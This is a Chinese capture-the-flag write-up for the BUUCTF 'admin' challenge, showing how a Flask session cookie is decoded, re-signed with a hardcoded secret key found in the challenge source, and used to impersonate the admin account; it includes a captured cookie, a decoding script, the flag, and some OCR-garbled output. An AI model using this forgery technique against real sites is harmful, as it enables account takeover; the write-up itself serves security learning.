buuctf之admin writeup

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XZLang 2019年9月27日

熟悉的登陆注册页面,结合结合题目admin的提示,想到是通过修改admin用户密码或伪造 admin身份的方式来以admin账户。

查看源码,看到了一个hint:

下载下来,是靶场的源码

首先尝试抓包分析,抓取了修改密码的请求包,看到了一串session的密文

```
Cookie:
session=.eJw9kDGPgkAQhf_KZWoLWKAhsdDAEUxmCGSRzDZGESMryyWoOVjjf7-Nx
RWvmMnLm2_eCw6XqbtflX5Mz24Fh_4M8Qu-ThBDkWyCQvJMuvRYbweSGCo59Gj3Pem
bhzYV1PAv2tanrJyVPmsUKEiyT0m5KLdj46TRJ_t9VUkbsUw9pXdD0aQBi1yorA7JpiFluyv
r2keTC9KbAM1ek_04GwtZdHM1oK1uqDlQWWVY1IEhywiTMnlsa3ivoL1Pl8Pj59aN_y-g2
Dvc7YCGQ0yqnm09qywPWLYOq12wSReUux5IPrNUmhsaVLn-xl1H07ml49n0l6zgee-mT
zvge_D-A9NJZOw.XXZsYg.7AH9cu-xLmorGeFBqG95FRcqquA
Upgrade-Insecure-Requests: 1

-------287321052116072
Content-Disposition: form-data; name="newpassword"

123
-------287321052116072-- https://blog.csdn.net/qq_43399979
```

因为这里使用了flask框架,所以搜索了一下,发现flask的session不存在加密,并且我在 GitHub上面找到了flask的session解码及转码的 脚本(脚本小子上线)

E:\CTF\webl.贝稍\脚体>python buuctf_admin.py .eJw9kDGPgkAQhf_KZWol.WKAxsdDAEUhmCGSRzDZGESML6yWoVjjf7-NxRWvmMnLm2_eCv6XqbtfYf2Ynt0KDv0Z1i_40sBaingbFJJn0qXHejeSxFDJsUe770kPHtpEUMo_aPuf0nJW-qx
RoCDJPsXloty0jzXGn-Z3VcVtxDLx1W7HokkCPp)QaR25TUJKSyvr2kefCdLbAMlek_040wtZdfMloq0G1ByotD156bigZYRxGTmWDbxXDNGny-HxM353_xdq7B3bubtTDtcZVz7aeVzoFLPuHI57YJAvkVeEzzsyV5oZGVW4-cbej6VzEEWz6my5CWMHz
SZc7gg0JAYdV1_F1gg_XXZJ_yx_m2MJ_ES8CW_V44e0u_000xf4x45SM
[-fresh: True_id: b'807961644bbc38se9535b6943166f03754d1f7c3c6565442dd1bd1b3571ad79a14f2e9a7cb6de87184bab552b66072ec5a73127372de34d267ddfa5994904969', 'csrf_token': b'3eb30e2f804bc51d
b7a71bf21a2[2b]z1a6cacee', 'name': "admin123', 'user_id': '10' }

而且在源码中,我们很容易的看到了secret_key

SECRET KEY = os.environ.get('SECRET KEY') or 'ckj123'

于是加上key,修改name为admin

拿到了修改后的session,发包修改密码,登录admin账户,拿到flag

hctf

Hello admin

flag{cbd6944e-a004-448a-9895-207fbce87aec}

Welcome to hctf

https://blog.csdn.net/qq_43399979

最后附上session解码的脚本

```
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64 decode
def decryption(payload):
  payload, sig = payload.rsplit(b'.', 1)
  payload, timestamp = payload.rsplit(b'.', 1)
  decompress = False
  if payload.startswith(b'.'):
    payload = payload[1:]
    decompress = True
  try:
    payload = base64_decode(payload)
  except Exception as e:
    raise Exception('Could not base64 decode the payload because of '
               'an exception')
  if decompress:
    try:
       payload = zlib.decompress(payload)
    except Exception as e:
       raise Exception('Could not zlib decompress the payload before '
                  'decoding the payload')
  return session json serializer.loads(payload)
if __name__ == '__main__':
  print(decryption(sys.argv[1].encode()))
```

以及解码转码的GitHub地址:

 $\underline{https://github.com/noraj/flask-session-cookie-manager}$

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